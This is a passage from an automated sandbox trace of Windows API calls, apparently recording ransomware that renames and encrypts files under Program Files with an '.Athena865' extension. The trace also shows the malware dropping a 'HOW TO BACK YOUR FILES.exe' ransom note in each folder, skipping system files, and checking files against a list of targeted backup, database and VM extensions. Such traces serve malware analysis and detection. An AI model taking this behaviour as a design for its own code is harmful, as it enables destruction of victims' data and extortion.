lstrcmpiW (lpString1="wmpshare.exe", lpString2="MSBuild") returned 1 [0041.135] lstrlenW (lpString="wmpshare.exe") returned 12 [0041.135] lstrcpyW (in: lpString1=0x241e894, lpString2="wmpshare.exe" | out: lpString1="wmpshare.exe") returned="wmpshare.exe" [0041.135] lstrlenW (lpString="wmpshare.exe") returned 12 [0041.136] lstrlenW (lpString="Athena865") returned 9 [0041.136] lstrcmpiW (lpString1="share.exe", lpString2="Athena865") returned 1 [0041.136] lstrlenW (lpString=".dll") returned 4 [0041.136] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".dll") returned 1 [0041.136] lstrlenW (lpString=".lnk") returned 4 [0041.136] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".lnk") returned 1 [0041.136] lstrlenW (lpString=".ini") returned 4 [0041.136] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".ini") returned 1 [0041.136] lstrlenW (lpString=".sys") returned 4 [0041.136] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".sys") returned 1 [0041.136] lstrlenW (lpString="wmpshare.exe") returned 12 [0041.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmpshare.exe.Athena865") returned 60 [0041.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files\\windows media player\\wmpshare.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmpshare.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpshare.exe.athena865"), dwFlags=0x1) returned 1 [0041.136] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpshare.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpshare.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.137] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=102912) returned 1 [0041.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.137] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.138] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.138] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.138] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19500, lpName=0x0) returned 0x17c [0041.140] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19500) returned 0x100000 [0041.144] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.145] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.145] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.145] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0041.146] CloseHandle (hObject=0x17c) returned 1 [0041.146] CloseHandle (hObject=0x154) returned 1 [0041.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.149] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="..") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="windows") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="bootmgr") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="temp") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="pagefile.sys") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="boot") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="ids.txt") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="ntuser.dat") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="perflogs") returned 1 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2="MSBuild") returned 1 [0041.149] lstrlenW (lpString="WMPSideShowGadget.exe") returned 21 [0041.149] lstrcpyW (in: lpString1=0x241e894, lpString2="WMPSideShowGadget.exe" | out: lpString1="WMPSideShowGadget.exe") returned="WMPSideShowGadget.exe" [0041.149] lstrlenW (lpString="WMPSideShowGadget.exe") returned 21 [0041.149] lstrlenW (lpString="Athena865") returned 9 [0041.149] lstrcmpiW (lpString1="adget.exe", lpString2="Athena865") returned -1 [0041.149] lstrlenW (lpString=".dll") returned 4 [0041.149] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".dll") returned 1 [0041.150] lstrlenW (lpString=".lnk") returned 4 [0041.150] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".lnk") returned 1 [0041.150] lstrlenW (lpString=".ini") returned 4 [0041.150] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".ini") returned 1 [0041.150] lstrlenW (lpString=".sys") returned 4 [0041.150] lstrcmpiW (lpString1="WMPSideShowGadget.exe", lpString2=".sys") returned 1 [0041.150] lstrlenW (lpString="WMPSideShowGadget.exe") returned 21 [0041.150] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\WMPSideShowGadget.exe.Athena865") returned 69 [0041.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\WMPSideShowGadget.exe" (normalized: "c:\\program files\\windows media player\\wmpsideshowgadget.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\WMPSideShowGadget.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpsideshowgadget.exe.athena865"), dwFlags=0x1) returned 1 [0041.152] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\WMPSideShowGadget.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpsideshowgadget.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0041.152] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=165888) returned 1 [0041.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.153] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.153] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.153] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.153] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28b00, lpName=0x0) returned 0x17c [0041.155] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28b00) returned 0x170000 [0041.161] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.161] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.161] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0041.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.162] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0041.163] CloseHandle (hObject=0x17c) returned 1 [0041.163] CloseHandle (hObject=0x154) returned 1 [0041.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.166] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 0 [0041.167] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0041.167] ReleaseMutex (hMutex=0xec) returned 1 [0041.167] CloseHandle (hObject=0xec) returned 1 [0041.167] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows NT" | out: lpString1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0041.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50efc0 | out: hHeap=0x4f0000) returned 1 [0041.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c428 | out: hHeap=0x4f0000) returned 1 [0041.167] lstrlenW (lpString="C:\\Program Files\\Windows NT") returned 27 [0041.167] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\115CB638D92DB6AA8F0BB9FC8903987E") returned 0xec [0041.167] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0041.167] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT" | out: lpString1="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0041.167] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0041.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0041.168] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0041.168] GetLastError () returned 0x0 [0041.168] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0041.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0041.168] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0041.168] CloseHandle (hObject=0xf4) returned 1 [0041.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.168] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0041.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0041.168] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.168] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.168] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0041.168] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.168] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.168] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.168] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0041.168] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0041.168] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0041.168] lstrcmpiW (lpString1="Accessories", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.168] lstrcmpiW (lpString1="Accessories", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.168] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1 [0041.168] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="temp") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="pagefile.sys") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="boot") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="ids.txt") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="perflogs") returned -1 [0041.169] lstrcmpiW (lpString1="Accessories", lpString2="MSBuild") returned -1 [0041.169] lstrlenW (lpString="Accessories") returned 11 [0041.169] lstrcpyW (in: lpString1=0x241e880, lpString2="Accessories" | out: lpString1="Accessories") returned="Accessories" [0041.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c428 [0041.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515d40 [0041.169] lstrcatW (in: lpString1="Accessories", lpString2="\\" | out: lpString1="Accessories\\") returned="Accessories\\" [0041.169] lstrcatW (in: lpString1="Accessories\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Accessories\\HOW TO BACK YOUR FILES.exe") returned="Accessories\\HOW TO BACK YOUR FILES.exe" [0041.169] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1 [0041.173] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc465fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0041.173] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0041.173] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0537d0, ftCreationTime.dwHighDateTime=0x1d50954, ftLastAccessTime.dwLowDateTime=0x68933160, ftLastAccessTime.dwHighDateTime=0x1d4fca4, ftLastWriteTime.dwLowDateTime=0x68933160, ftLastWriteTime.dwHighDateTime=0x1d4fca4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="stickerscharitable.exe", cAlternateFileName="STICKE~1.EXE")) returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2=".") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="..") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="windows") returned -1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="bootmgr") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="temp") returned -1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="pagefile.sys") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="boot") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="ids.txt") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="ntuser.dat") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="perflogs") returned 1 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2="MSBuild") returned 1 [0041.173] lstrlenW (lpString="stickerscharitable.exe") returned 22 [0041.173] lstrcpyW (in: lpString1=0x241e880, lpString2="stickerscharitable.exe" | out: lpString1="stickerscharitable.exe") returned="stickerscharitable.exe" [0041.173] lstrlenW (lpString="stickerscharitable.exe") returned 22 [0041.173] lstrlenW (lpString="Athena865") returned 9 [0041.173] lstrcmpiW (lpString1="table.exe", lpString2="Athena865") returned 1 [0041.173] lstrlenW (lpString=".dll") returned 4 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2=".dll") returned 1 [0041.173] lstrlenW (lpString=".lnk") returned 4 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2=".lnk") returned 1 [0041.173] lstrlenW (lpString=".ini") returned 4 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2=".ini") returned 1 [0041.173] lstrlenW (lpString=".sys") returned 4 [0041.173] lstrcmpiW (lpString1="stickerscharitable.exe", lpString2=".sys") returned 1 [0041.173] lstrlenW (lpString="stickerscharitable.exe") returned 22 [0041.173] lstrlenW (lpString="bak") returned 3 [0041.173] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0041.173] lstrlenW (lpString="ba_") returned 3 [0041.173] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0041.173] lstrlenW (lpString="dbb") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0041.174] lstrlenW (lpString="vmdk") returned 4 [0041.174] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0041.174] lstrlenW (lpString="rar") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0041.174] lstrlenW (lpString="zip") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0041.174] lstrlenW (lpString="tgz") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0041.174] lstrlenW (lpString="vbox") returned 4 [0041.174] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0041.174] lstrlenW (lpString="vdi") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0041.174] lstrlenW (lpString="vhd") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0041.174] lstrlenW (lpString="vhdx") returned 4 [0041.174] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0041.174] lstrlenW (lpString="avhd") returned 4 [0041.174] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0041.174] lstrlenW (lpString="db") returned 2 [0041.174] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0041.174] lstrlenW (lpString="db2") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0041.174] lstrlenW (lpString="db3") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0041.174] lstrlenW (lpString="dbf") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0041.174] lstrlenW (lpString="mdf") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0041.174] lstrlenW (lpString="mdb") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0041.174] lstrlenW (lpString="sql") returned 3 [0041.174] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0041.174] lstrlenW (lpString="sqlite") returned 6 [0041.174] lstrcmpiW (lpString1="le.exe", lpString2="sqlite") returned -1 [0041.174] lstrlenW (lpString="sqlite3") returned 7 [0041.174] lstrcmpiW (lpString1="ble.exe", lpString2="sqlite3") returned -1 [0041.174] lstrlenW (lpString="sqlitedb") returned 8 [0041.175] lstrcmpiW (lpString1="able.exe", lpString2="sqlitedb") returned -1 [0041.175] lstrlenW (lpString="xml") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0041.175] lstrlenW (lpString="$er") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0041.175] lstrlenW (lpString="4dd") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0041.175] lstrlenW (lpString="4dl") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0041.175] lstrlenW (lpString="^^^") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0041.175] lstrlenW (lpString="abs") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0041.175] lstrlenW (lpString="abx") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0041.175] lstrlenW (lpString="accdb") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0041.175] lstrlenW (lpString="accdc") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0041.175] lstrlenW (lpString="accde") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0041.175] lstrlenW (lpString="accdr") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0041.175] lstrlenW (lpString="accdt") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0041.175] lstrlenW (lpString="accdw") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0041.175] lstrlenW (lpString="accft") returned 5 [0041.175] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0041.175] lstrlenW (lpString="adb") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.175] lstrlenW (lpString="adb") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.175] lstrlenW (lpString="ade") returned 3 [0041.175] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0041.175] lstrlenW 